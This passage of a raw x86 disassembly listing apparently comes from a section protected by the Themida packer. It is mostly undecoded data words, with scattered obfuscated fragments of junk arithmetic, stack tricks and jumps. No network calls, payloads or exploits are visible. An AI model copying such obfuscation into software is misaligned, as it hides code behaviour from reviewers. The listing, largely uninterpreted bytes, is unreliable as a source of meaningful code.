5924234Eh, 5C243C87h, 0FFD62EE9h, 241C87FFh, 37B9515Ch dd 0E94EF126h, 314Ch, 381CC381h, 0EB016DA1h, 381CEB81h dd 6CE96DA1h, 28FFFFE8h, 0B65251E8h, 95A1E998h, 0D0210000h dd 14ECE9h, 0D9F74900h, 9538F181h, 0C2818FFAh, 7B7B6520h dd 0EA81CA29h, 7B7B6520h, 55C22959h, 0AF705A68h, 0D5F75D01h dd 1C581h, 0EDC10000h, 8EDC108h, 78B2B951h, 0CD0120F9h dd 53240C8Bh, 0C381E389h, 4, 8704C383h, 0F75C241Ch, 18ED81D5h dd 16D3F0Dh, 8343E9EAh, 0C3010000h, 6D95C381h, 33583D1Bh dd 1C31241Ch, 1E40E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557506: ; CODE XREF: Themida_:0055EFF0j add ebx, 4 jmp loc_555EFD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 67Bh, 19E9D089h, 29000003h, 2434FFC2h, 43F7E958h dd 665C0000h, 0DAB25253h, 0E9E9E280h, 5A1Ch, 0FF24248Bh dd 34FF2434h, 0E276E924h, 0E951FFFFh, 5AB0h, 728CE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557556: ; CODE XREF: Themida_:0055D7A4j mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 xor edi, [esp] jmp loc_55A53F ; --------------------------------------------------------------------------- loc_557573: ; CODE XREF: Themida_:0055F653j dec esi push esi xchg esi, [esp] jmp loc_555156 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 81240C8Bh, 4C4h, 4C18100h, 83000000h, 0C8702C1h dd 0F7665C24h, 4EC83E9h, 89240489h, 4BF57E0h, 1000000h dd 56535FF8h, 0C918F3BEh, 0F6814E25h, 2B2E30F4h, 0EF69E3BBh dd 4690E97Eh, 0CB800000h, 0E9C3FE83h, 39AEh, 3649CB9h dd 48DEE96Bh, 0CE810000h, 6B616A21h, 3AD5F681h, 0C6832E3Dh dd 0DE04E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5575EE: ; CODE XREF: Themida_:00558733j mov esi, [esp] jmp loc_55EB57 ; --------------------------------------------------------------------------- dw 0F989h dd 0E9CF015Fh, 535Ch, 8704C083h, 8F5C2404h, 0E95C2404h dd 812Ch ; --------------------------------------------------------------------------- loc_557610: ; CODE XREF: Themida_:0055F8BBj dec eax not eax add eax, 0B3FBE15h add edx, eax mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_55B90D ; --------------------------------------------------------------------------- loc_557632: ; CODE XREF: Themida_:005577B8j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_55739A ; --------------------------------------------------------------------------- dw 1431h dd 24143324h, 6624248Bh, 2404B30Fh, 0D27CE99Ch, 0BE56FFFFh dd 4, 4247401h, 77FFE9h, 0E9562C00h, 0FFFFEC75h, 7DBF5752h dd 68627C1Bh, 9D83E487h, 5FFA015Ah, 34FFD301h, 24148B24h dd 5704C483h, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 2AB3h dd 0B9240C89h, 4, 5159CD01h, 2B9h, 0A5C58100h, 296F964Fh dd 0A5ED81CDh, 8B6F964Fh, 0B2E9240Ch db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5576BF: ; CODE XREF: Themida_:0055B046j inc ecx jmp loc_555802 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXqsN db 'XQé¶N',0 dw 100h dd 57042444h, 0EB1F6EBFh, 24448142h, 0E22E0D08h, 247C294Ah dd 246C8108h, 0E22E0D08h, 48B5F4Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55BCB3 ; --------------------------------------------------------------------------- db 0B9h, 25h, 11h dd 0E94901C3h, 0FFFFFD89h, 0EE80C628h, 48B6626h, 7FC4E924h dd 4050000h, 83000000h, 1C8904ECh, 2BB24h, 57E90000h, 0FF00005Ah dd 669D1C77h, 2414D359h, 0D18CE99Ch, 6664FFFFh, 0E902B60Fh dd 0FFFFE434h ; --------------------------------------------------------------------------- loc_55774C: ; CODE XREF: Themida_:0055F145j sub ebx, 53424D35h add ebx, 2F5731C8h jmp loc_55D2BF ; --------------------------------------------------------------------------- db 81h, 0C1h, 2 dd 51000000h, 722CE9h, 63E95300h, 0D100003Dh, 3CA9E9E8h dd 0E95D0000h, 55CBh, 1F17E6BAh, 558E924h, 14330000h, 0D5DBE924h dd 6C81FFFFh, 0B1C0424h, 0E95373F0h, 0FFFFD2E7h, 9185E950h dd 77FF0000h, 59669D1Ch, 241CD366h, 0D11CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5577B2: ; CODE XREF: Themida_:0055C8E0j xor [esp], ebp xor ebp, [esp] jmp loc_557632 ; --------------------------------------------------------------------------- aZsI db 'Zé´‰',0 dw 5200h dd 0A80AC0BAh, 5AD001E8h, 0C158C631h, 4E4E06E6h, 0F131CE31h dd 0D9F7CE31h, 0B951CE87h, 58C76A42h, 0E959CE01h, 4968h dd 51CA8158h, 811D1A06h, 663590F2h, 74C28121h, 4A2DB93Eh dd 58E8E9h db 0 ; --------------------------------------------------------------------------- loc_557805: ; CODE XREF: Themida_:005593CAj not ebx jmp loc_55BE6E ; --------------------------------------------------------------------------- dd 0EBE9F089h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557813: ; CODE XREF: Themida_:0055F873j push dword ptr [edi+24h] push ebp push dword ptr [esp+4] jmp loc_560C1E ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 3C890000h, 4EC8324h, 2744E954h, 0E9550000h dd 85CBh, 0FEE9C689h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557843: ; CODE XREF: Themida_:005587DAj add edx, eax jmp loc_55917E ; --------------------------------------------------------------------------- aISK db 'Áë',7,'隊',0 align 2 dw 8B66h dd 5452240Ch, 44A8E95Ah, 8B660000h, 0BA682404h, 8900001Fh dd 0A5E9241Ch, 52000006h, 31A5E9h, 3CE9AC00h, 2900002Fh dd 0E8295AD0h, 0C3557C05h, 2434FF18h, 4C4815Dh, 52000000h dd 569168h, 24248900h, 3214E9h, 5BF93000h, 93D9E9h, 242C8900h dd 4F44D0BDh, 1B80E941h, 33580000h, 1C31241Ch, 3323E924h dd 0E9810000h, 51B85AEBh, 0C181C129h, 51B85AEBh, 3251E9h dd 241C3000h, 30241C32h, 0EE68241Ch, 8900005Fh, 88502414h dd 994E9D8h, 0EB810000h, 59C02523h, 119DE9h, 815B5E00h dd 4ECh, 24348900h, 4E7CE9h, 24248B00h, 9C240409h, 0FFF3F4E9h dd 55C601FFh, 794E75BDh, 5DEE011Dh, 7B77C681h, 48B3971h dd 4C48124h, 0E9000000h, 30F6h, 0B4C27B9h, 0E9CD8963h dd 50C5h, 5007C2BDh, 5A3EE942h, 31660000h, 665E66F1h, 6608E9C1h dd 337EE981h, 7251E9h db 0 ; --------------------------------------------------------------------------- loc_557959: ; CODE XREF: Themida_:00560255j shr edi, 6 shr edi, 8 jmp loc_55EB9F ; --------------------------------------------------------------------------- loc_557964: ; CODE XREF: Themida_:00555C70j add eax, 4 jmp loc_554DEA ; --------------------------------------------------------------------------- dw 15Eh dd 48902DC8h, 87593342h, 248B2404h, 82D0E924h, 8B660000h dd 31682404h, 8900003Ah, 5A542414h, 284DE9h db 0 ; --------------------------------------------------------------------------- loc_557995: ; CODE XREF: Themida_:0055B370j sub esi, 75347C7Bh mov eax, [esp] add esp, 4 and eax, esi mov esi, [esp] jmp loc_559D7F ; --------------------------------------------------------------------------- dw 248Bh dd 4896624h, 8BFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5579BA: ; CODE XREF: Themida_:0055E52Fj pop esp push esi jmp loc_55B9D0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0EC815124h, 4, 81242489h, 42404h, 56590000h, 0FFD2E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5579DD: ; CODE XREF: Themida_:0055D532j push ebx jmp loc_55F858 ; --------------------------------------------------------------------------- loc_5579E3: ; CODE XREF: Themida_:0055908Aj mov eax, [esp] add esp, 4 push edi mov edi, 74CA4A36h shl edi, 7 jmp loc_55C2C4 ; --------------------------------------------------------------------------- loc_5579FA: ; CODE XREF: Themida_:0055C77Cj mov ebx, 52144124h neg ebx and ebx, 75A85647h jmp loc_557FA6 ; --------------------------------------------------------------------------- dd 1888EB88h, 4C37E9h, 0E965B400h, 0FFFFFB34h ; --------------------------------------------------------------------------- loc_557A1C: ; CODE XREF: Themida_:00559DDFj sub esp, 4 mov [esp], ebp push 54B34B28h pop ebp push ebx mov ebx, 5CD36D84h and ebp, ebx pop ebx push eax mov eax, 2C25B80h sub ebp, eax pop eax sub ebp, 7BD038BFh sub ebp, 0D600B4C1h mov edx, ebp mov ebp, [esp] add esp, 4 add edx, 54C50D30h jmp loc_555D56 ; --------------------------------------------------------------------------- db 0F7h dd 65F035D8h, 0CD2D0CF3h, 127CA31h, 0EF8158C7h, 329A401Dh dd 4EF835Eh, 5B45E9h, 8A685C00h, 89000029h, 99B82404h dd 8117637Dh, 0B23A80EBh, 160BE93Eh, 815F0000h, 4C7h, 53D4E900h dd 0C4810000h, 4, 0FFF638E9h, 7E9C0FFh, 28DBE980h, 586659CBh dd 0FFC0B60Fh, 34FF8734h, 2434FF24h, 88EBE9h db 0 ; --------------------------------------------------------------------------- loc_557AC9: ; CODE XREF: Themida_:0055A69Ej xor edx, 791A203Bh jmp loc_559961 ; --------------------------------------------------------------------------- dd 405h, 3E95600h, 28000073h, 2434FFD8h, 4C4815Bh, 68000000h dd 406Dh, 53240C89h, 515060B7h, 0CC88F988h, 0FFDAD2E9h dd 24248BFFh, 15A3E9h, 8151AD00h, 4ECh, 243C8900h, 73135268h dd 0EBBCE94Bh, 2C87FFFFh, 0D78BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B26: ; CODE XREF: Themida_:0055FE95j xor edi, ebp pop ebp jmp loc_55D95E ; --------------------------------------------------------------------------- loc_557B2E: ; CODE XREF: Themida_:00555D11j mov ebp, 3A3E0D64h add [esp+4], ebp push dword ptr [esp] pop ebp add esp, 4 pop ebp sub ebp, 3A3E0D64h push dword ptr [esp] pop ebx jmp loc_55815A ; --------------------------------------------------------------------------- dw 45Ah dd 51F8003Ah, 38E921B1h, 8B00007Ah, 4D32424h, 67E99C24h dd 81FFFFCDh, 1528242Ch, 40141DCh, 3856824h, 0B1E90000h dd 88000006h, 0D8285AD3h, 0B5515B66h, 5BE951E4h, 5F000057h dd 8032E9h, 0FFE95A00h, 1FFFFFEh, 242C8BEEh, 4C481h, 34330000h dd 24343124h, 2836E9h, 0CD1CE900h, 0BA52FFFFh, 2B99741Dh dd 0FFF098E9h, 4EAC1FFh, 1E95357h, 66000044h, 57240C8Bh dd 8904EC83h, 55E92424h, 66FFFFF4h, 51240C8Bh, 0BD555954h dd 10817E3Ah, 0B99E9h, 14896600h, 20D5B624h, 0D9FFE9F7h dd 0DB6FFFFh, 0C05AF088h, 4F0C02E0h, 0E8D0900Ch, 3403E8C0h dd 4EC8348h, 0B2241489h, 0BBE95300h, 0B8FFFFF4h, 12875606h dd 2958C629h, 6C681EEh, 5D128756h, 8B8E9h, 0BA525B00h dd 4, 815AD301h, 4EBh, 241C3300h, 53AFE9h, 243C8700h, 4C7815Ch dd 57000000h, 42474FFh, 24048F5Fh, 51C3305Ch, 0EC83C188h dd 24048904h, 0E904EC83h, 8984h ; --------------------------------------------------------------------------- loc_557C6C: ; CODE XREF: Themida_:00558631j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55C92B ; --------------------------------------------------------------------------- dd 366C581h, 0EB0110ACh, 4EB815Dh, 87000000h, 6AE9241Ch dd 0BEFFFFFEh, 4, 107DC181h, 27E97B8Bh, 66000062h, 0E92414F7h dd 7BE7h, 0E8B55166h, 0D517E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CBA: ; CODE XREF: Themida_:0055F4F0j dec dword ptr [esp] pop edi jmp loc_55FE8F ; --------------------------------------------------------------------------- db 29h dd 5D4EE9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557CCA: ; CODE XREF: Themida_:00558084j pop edx jmp loc_5601B7 ; --------------------------------------------------------------------------- loc_557CD0: ; CODE XREF: Themida_:0055DF53j push edi pop eax pop edi and eax, 3F2D4213h push esi jmp loc_557EA8 ; --------------------------------------------------------------------------- dw 0EA81h dd 4A3B2E60h, 4A07EAC1h, 1955C281h, 0C2811D2Ah, 31BB596Eh dd 24348152h, 6BB865C7h, 0C7F6815Eh, 0E96BB865h, 48Dh dd 43FC68h, 4210E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D12: ; CODE XREF: Themida_:0055BACBj add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_55FF4A ; --------------------------------------------------------------------------- dw 0FC68h dd 89000038h, 0E5682434h, 89000043h, 9EBA2414h, 51224F52h dd 3BD06857h, 14890000h, 0FDBF5724h, 0E9624323h, 824Fh dd 0F0E9C801h, 2D00002Eh, 2FA86B41h, 89DFE9h db 0 ; --------------------------------------------------------------------------- loc_557D65: ; CODE XREF: Themida_:0055571Bj mov ebp, 12207BAFh neg ebp xor ebp, 0EDDF8455h mov esi, ebp jmp loc_555C00 ; --------------------------------------------------------------------------- db 89h, 0D6h, 5Ah dd 55EF301h, 73E3308Ch, 0F2E9D801h, 53000053h, 20610968h dd 0DBF75B70h, 610DC381h, 0EBE97020h, 81000028h, 4C1h dd 4C18100h, 87000000h, 875C240Ch, 555C2434h, 8904EC83h dd 0BB53240Ch, 53EE1053h, 37EB8143h, 89F0880Ch, 241C8BD9h dd 0E9E28952h, 7A1h, 695CC581h, 2BE95800h, 0C1000006h dd 0E68107E6h, 77840735h, 22E9DEF7h, 8B000071h, 30FF2424h dd 0FFCAD5E9h db 0FFh ; --------------------------------------------------------------------------- loc_557DF9: ; CODE XREF: Themida_:00554961j push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax push ebp mov ebp, 181F08A1h add ebp, 287B7440h and ebp, 3D7E56AAh push edi mov edi, 0FFE5AB64h add ebp, edi pop edi add ebx, ebp pop ebp push ebx push dword ptr [esp+4] pop ebx jmp loc_55C05D ; --------------------------------------------------------------------------- db 0E9h, 9Ch, 0CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E32: ; CODE XREF: Themida_:0055646Dj add dword ptr [esp], 4 pop edx push eax mov eax, 5A2A4487h inc eax not eax xor eax, 0AC536C1h add eax, 50EF724Eh jmp loc_55C181 ; --------------------------------------------------------------------------- dw 34FFh dd 0E49AE924h, 5452FFFFh, 0E1BF575Ah, 4F7AFE39h, 32A0CF81h dd 32E97C88h, 57000079h, 56235BFh, 0A8F78113h, 4F021D22h dd 0F1D0E94Fh, 0C828FFFFh, 0EE6E9h db 0 ; --------------------------------------------------------------------------- loc_557E89: ; CODE XREF: Themida_:0055E0A0j pop ebx shl ch, 4 or ch, 98h push eax mov ah, 0B2h sub ch, ah pop eax add ch, 0A7h push ebx mov bl, 0E0h jmp loc_556FE5 ; --------------------------------------------------------------------------- db 0B3h, 91h, 0E9h dd 12CCh ; --------------------------------------------------------------------------- loc_557EA8: ; CODE XREF: Themida_:00557CD9j mov esi, 375E2363h jmp loc_55DDFC ; --------------------------------------------------------------------------- dw 0D000h dd 0F8005A66h, 34FFCF2Ch, 2A56E924h, 525A0000h, 3CE2E9h db 0 ; --------------------------------------------------------------------------- loc_557EC9: ; CODE XREF: Themida_:0055BC77j sub ebp, eax pop eax sub edx, ebp pop ebp and eax, edx jmp loc_5609D0 ; --------------------------------------------------------------------------- dw 0C33h dd 801AE924h, 15B0000h, 0D12DE9F8h, 0FB89FFFFh, 0E9243C8Bh dd 0FFFFD36Ch, 504E8FBAh, 0F2814265h, 3D221BB8h, 8A20E9h db 0 ; --------------------------------------------------------------------------- loc_557F01: ; CODE XREF: Themida_:0055CAE1j push ebx jmp loc_55D552 ; --------------------------------------------------------------------------- db 0F7h dd 0E05AE9D7h, 0E951FFFFh, 7CEEh, 4EC81h, 24890000h, 4BA5224h dd 81000000h, 6042444h, 17C605Ah, 81042454h, 604246Ch dd 5A7C605Ah, 0E9241C8Bh, 6EEBh, 0E290E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557F46: ; CODE XREF: Themida_:00554FF8j mov ecx, edx pop edx jmp loc_55BD57 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 5C243C87h, 8B1C6F09h, 68E9242Ch, 2D00007Ah, 912E7B5Ah dd 0E958C629h, 0ED9h, 89243489h, 4C681E6h, 50000000h, 0E15792B8h dd 0ED70D22h, 0BB533BBFh, 7C771F80h, 0E903E3C1h, 1010h dd 0BB53D001h, 12D253D2h, 0E3C1D3F7h, 1BE3E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557FA6: ; CODE XREF: Themida_:00557A07j sub ebx, 82C169CAh sub edi, ebx pop ebx jmp loc_55D4C9 ; --------------------------------------------------------------------------- dd 0FEA6F380h, 0E8EB80CBh, 0FFCB86E9h, 0B5B951FFh, 0E93E055Bh dd 63B4h ; --------------------------------------------------------------------------- loc_557FCC: ; CODE XREF: Themida_:00559D8Cj mov [esp], edi push ebx pop edi push edx push 20BDh jmp loc_55CFA0 ; --------------------------------------------------------------------------- dd offset dword_432184+6E4h dd 24148900h, 5BE9E289h, 0FFFFFFCFh, 669D1C77h, 241CD259h dd 0C8D4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557FFA: ; CODE XREF: Themida_:00554E0Fj pop ecx push 7F9Ch mov [esp], edx mov edx, 4 sub edi, edx pop edx jmp loc_55E98A ; --------------------------------------------------------------------------- dd 74FF5758h, 3C8B0424h, 4C48324h, 1841E9h, 241C8700h dd 6CBBE9h, 58E58800h, 5266C5FEh, 0D528E8B2h, 36AE9h, 2C18300h dd 0E9240C87h, 2113h, 0FFC885E9h, 8FE95AFFh, 5D00001Bh dd 59DDE9h, 23C38000h, 0EB80CB28h, 0CB005923h, 66E2C380h dd 0B6526659h, 66F328E1h, 72C3805Ah, 0EB80C328h, 4A95E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55807A: ; CODE XREF: Themida_:0055737Cj pop ebx push eax push edx mov edx, 0 mov eax, edx jmp loc_557CCA ; --------------------------------------------------------------------------- db 0BFh, 11h, 7Bh dd 0E7C140D2h, 22F78105h, 811A4F62h, 0F020ECEBh, 0E3C38101h dd 126DB1Ah, 0E3EB81FBh, 5026DB1Ah, 0FFD875E9h, 2434FFFFh dd 5724048Bh, 0B951E789h, 4, 8159CF01h, 4C7h, 243C8700h dd 0FFE76EE9h, 0C8B66FFh, 5A1A6824h, 2C890000h, 34FF5424h dd 242C8B24h, 4C481h, 0C4810000h, 4, 4BF57h, 69E90000h dd 55000048h, 711EE9h, 240C3300h, 33240C31h, 895C240Ch dd 9C502414h, 0FFC7B9E9h, 0E4F180FFh, 0FFEEB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55811D: ; CODE XREF: Themida_:005556E7j add esi, edx pop edx push edx push ecx mov ecx, 5C9F069Ch or ecx, 32D175C9h inc ecx jmp loc_55F959 ; --------------------------------------------------------------------------- db 66h dd 0E9240C89h, 159Fh, 0EF81F729h, 582D2443h, 5FF8295Eh dd 729DE9h, 2C58300h, 2474FF55h, 0D0AFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55815A: ; CODE XREF: Themida_:00557B49j push edx mov edx, esp add edx, 4 jmp loc_555F6E ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 0FFFFEAC1h ; --------------------------------------------------------------------------- loc_558170: ; CODE XREF: Themida_:005584A2j add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55A88B ; --------------------------------------------------------------------------- dw 0ED81h dd 11C861B8h, 8105EDC1h, 19C912EDh, 5DEF29B1h, 0FFCA0DE9h dd 0E6C15AFFh, 14F75602h, 0CE815E24h, 4F4B5385h, 30D8E9h db 0 ; --------------------------------------------------------------------------- loc_5581A9: ; CODE XREF: Themida_:005593F2j push edi mov edi, 4 jmp loc_5565CB ; --------------------------------------------------------------------------- dd 8104C483h, 0C3BDF2E9h, 7BC2E92Ch, 6EB80000h, 0E9DBFFFFh dd 0FFFFCD80h, 5D5EE950h, 34330000h, 784BE924h, 0B4500000h dd 58E688BDh, 0FE03EEC0h, 0C0CEFEC6h, 0E6D008EEh, 0E96FC680h dd 0CABh, 565DEE89h, 1AE7E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5581FE: ; CODE XREF: Themida_:0055FD52j shl edx, 1 push eax push esi mov esi, 0E4C165Fh neg esi neg esi and esi, 72592290h dec esi shr esi, 2 sub esi, 920082h mov eax, esi pop esi push edx mov edx, 24h add edx, edi push ecx jmp loc_55F6BD ; --------------------------------------------------------------------------- dd 51241489h, 0FFE979E9h db 0FFh ; --------------------------------------------------------------------------- loc_558235: ; CODE XREF: Themida_:00555A74j sub [esp+8], edx pop edx jmp loc_559084 ; --------------------------------------------------------------------------- db 83h dd 0B76804C4h, 8900001Eh, 4B9240Ch, 81000000h, 706246EFh dd 81CF014Ch, 706246C7h, 3C87594Ch, 24248B24h, 68C8B70Fh dd 408h, 0E9243C89h, 26BEh, 0FFC655E9h, 0C650E9FFh, 0C288FFFFh dd 60E3E9h, 4EC8300h, 83242489h, 0E9042404h, 6900h ; --------------------------------------------------------------------------- loc_558294: ; CODE XREF: Themida_:0055E91Aj add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 7816h mov [esp], edi mov edi, 510B65C0h sub edi, 0FFFFFFFFh push eax mov eax, esp add eax, 4 push edi mov edi, 14AE3E3Ah shl edi, 8 xor edi, 0D0016B4h dec edi sub edi, 596824ABh jmp loc_55B396 ; --------------------------------------------------------------------------- loc_5582D9: ; CODE XREF: Themida_:0055D959j xchg ebp, [esp] pop esp pop ecx mov [edi+eax*4], bh mov ebx, [esp] add esp, 4 jmp loc_5548CE ; --------------------------------------------------------------------------- loc_5582EF: ; CODE XREF: Themida_:00556822j pop esp mov [esp], edx mov edx, 1 and eax, edx mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_560547 ; --------------------------------------------------------------------------- loc_55830A: ; CODE XREF: Themida_:005558EBj pop ebp add esp, 4 or eax, eax jz loc_558A25 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 5C2F4BFFh mov ebx, 0A3D0B41Dh jmp loc_55C31D ; --------------------------------------------------------------------------- dd 2BA525Dh, 81000000h, 0CC386EE9h, 0E9D1010Bh, 0FFFFDD07h ; --------------------------------------------------------------------------- loc_558348: ; CODE XREF: Themida_:0055BF83j xchg dl, bl jmp loc_556EAE ; --------------------------------------------------------------------------- loc_55834F: ; CODE XREF: Themida_:00560C28j pop dword ptr [esp] push 480Dh mov [esp], ebp inc dword ptr [esp] mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp xor [esp], ebp xor ebp, [esp] xor [esp], ebp pop dword ptr [edi+24h] loc_55838A: ; CODE XREF: Themida_:0055F0F0j push edx sub esp, 4 mov [esp], ebx jmp loc_5593B9 ; --------------------------------------------------------------------------- loc_558396: ; CODE XREF: Themida_:0055A82Dj sub edi, 2BDCFA9h mov ebp, edi jmp loc_55D8CD ; --------------------------------------------------------------------------- db 66h dd 8124148Bh, 2C4h, 8F58000h, 8033C580h, 0D5F601EDh, 8904EC83h dd 32B7241Ch, 2892F780h, 0B7535BFDh, 0E95166ECh, 2898h dd 24048B66h, 348B5456h, 4C48124h, 0E9000000h, 2AEFh, 0E9C1015Bh dd 0FFFFD406h, 1A80E953h, 89530000h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 0CEB7E95Ch, 0C145FFFFh, 0F58108E5h dd 138722DBh, 815DEB29h, 308C52EBh, 5BD83167h, 8904EC83h dd 8CE9240Ch, 5900006Ch, 0DCE9DAF7h, 83000069h, 248904ECh dd 4BA5224h, 1000000h, 0E9042454h, 10DAh ; --------------------------------------------------------------------------- loc_558448: ; CODE XREF: Themida_:00555D51j mov ebp, [esp] add esp, 4 sub [edi+24h], edx pop edx jmp loc_55C5BC ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFE91Dh, 7AE4B951h, 81E967A5h, 89000001h, 842D5FF9h dd 16AC365h, 658405C8h, 30E96AC3h, 6800000Bh, 737Dh, 0E9240489h dd 0FFFFC442h, 805AD388h, 57E9DBEBh db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558497: ; CODE XREF: Themida_:0055E0FDj add ebp, edi mov edi, [esp] add esp, 4 jmp loc_558170 ; --------------------------------------------------------------------------- db 68h dd 17B7h, 0B3241C89h, 0D6CB8054h, 5250D3F6h, 0FFF739E9h dd 1DE92DFFh, 348B5660h, 4C48324h, 57F68h, 24048900h, 42474FFh dd 8B2434FFh, 0C4812404h, 4, 6CFE9h, 0BA525600h, 3A5176D1h dd 5F21E9h, 18B95100h, 815E2464h, 0DB9BECC1h, 0DABD55A1h dd 0E9282B22h, 0FFFFD8D8h, 54241489h, 4EC835Ah, 0BE243489h dd 13F55B43h, 8102EEC1h, 644F96E6h, 0BFE95602h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558527: ; CODE XREF: Themida_:0055B623j dec ebx push esi mov esi, 7A11701Bh neg esi not esi or esi, 17916402h xor esi, 0E532AB2h and esi, 81B4CBBh add esi, 6EABF326h and ebx, esi pop esi jmp loc_55F94E ; --------------------------------------------------------------------------- dw 0D929h dd 80C1815Bh, 89F54928h, 0EEC159CEh, 814E4E05h, 0B9C887F6h dd 1C7721FEh, 5E2434FFh, 387CE9h, 4C28100h, 83000000h dd 148704C2h, 3018E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558586: ; CODE XREF: Themida_:00558D1Ej sub esi, ecx pop ecx pop eax jmp loc_560BD6 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 3D05h, 73F23548h, 260509C7h, 8938E5BAh dd 3146E9C6h, 0E1890000h, 4C181h, 0C1810000h, 4, 6ACCE9h dd 240C3100h, 0AA1E9h db 0 ; --------------------------------------------------------------------------- loc_5585C5: ; CODE XREF: Themida_:0055DE39j pop ebx pop dword ptr [esp] mov esp, [esp] push edx push eax push 5C336FBh pop eax push ecx push 5687670Ch pop ecx add ecx, 49335931h or ecx, 1E0A38B8h jmp loc_559F03 ; --------------------------------------------------------------------------- dd 2D59CD31h, 6C67693Ch, 0FFE4D7E9h, 7E2C1FFh, 0FFDBA9E9h dd 240C89FFh, 2495E9h, 88505200h, 58C288C8h, 0D188D2F6h dd 0CFF1805Ah, 34FFF100h, 0F19BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558622: ; CODE XREF: Themida_:0055CC91j add esp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx push esi mov esi, esp jmp loc_557C6C ; --------------------------------------------------------------------------- dw 0EF01h dd 83242C8Bh, 0BE904C4h, 0FFFFF9h, 0CE2C5BD8h, 83241C8Bh dd 0EB8004C4h, 66C3282Eh, 66675268h, 68240489h, 38F1h dd 0B7241C89h, 80DFF625h, 0F78009EFh, 13C780C9h, 34FFFC88h dd 77BFE924h, 4BF0000h, 1000000h, 243C8BFAh, 4095E9h, 2EE9AC00h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55868F: ; CODE XREF: Themida_:00555F00j push ebx jmp loc_5556C5 ; --------------------------------------------------------------------------- aBaMs8s5 db 'íÐmá8é5`',0 align 10h loc_5586A0: ; CODE XREF: Themida_:00555051j sub edx, edi mov edi, [esp] add esp, 4 dec edx inc edx jmp loc_55D23F ; --------------------------------------------------------------------------- dw 48Bh dd 0CC7E924h, 0ED810000h, 9FBC5C03h, 8BE9E889h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5586C7: ; CODE XREF: Themida_:0055E234j shr esi, 6 push ecx mov ecx, 140872D7h jmp loc_55F644 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 90E92424h, 81000021h, 4C5h, 0B8505300h, 6B271AEFh dd 3198E9h, 26C18100h, 81D037DBh, 375379C2h, 81CA0129h dd 375379EAh, 2ECCE929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55870E: ; CODE XREF: Themida_:00560A19j and eax, ecx pop ecx jmp loc_55F86F ; --------------------------------------------------------------------------- dw 0AABAh dd 0E94A9C43h, 0FFFFF659h ; --------------------------------------------------------------------------- loc_558720: ; CODE XREF: Themida_:0055561Ej pop esp push ebx push edx pop ebx mov esi, ebx pop ebx push dword ptr [esp] pop edx add esp, 4 and eax, esi jmp loc_5575EE ; --------------------------------------------------------------------------- dd 8904EC83h, 0FEBD242Ch, 21000000h, 2C8B1C6Fh, 4EC8124h dd 89000000h, 0E389241Ch, 4BA52h, 0BFE90000h, 0FFFFFFD1h dd 0C168E932h, 0E951FFFFh, 2E58h, 0C581E589h, 4, 4224E953h dd 0EC830000h, 0E07BE904h, 0D5F7FFFFh, 133EED81h, 0C14D37EDh dd 0EDC103EDh, 57ED8107h, 1002DE4h, 0E9835DE9h, 240C8704h dd 3D92E95Ch, 74FF0000h, 0E95D0424h, 0FFFFD69Bh, 5F59CE01h dd 15E3E9h db 0 ; --------------------------------------------------------------------------- loc_5587B9: ; CODE XREF: Themida_:0055E4A6j pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax 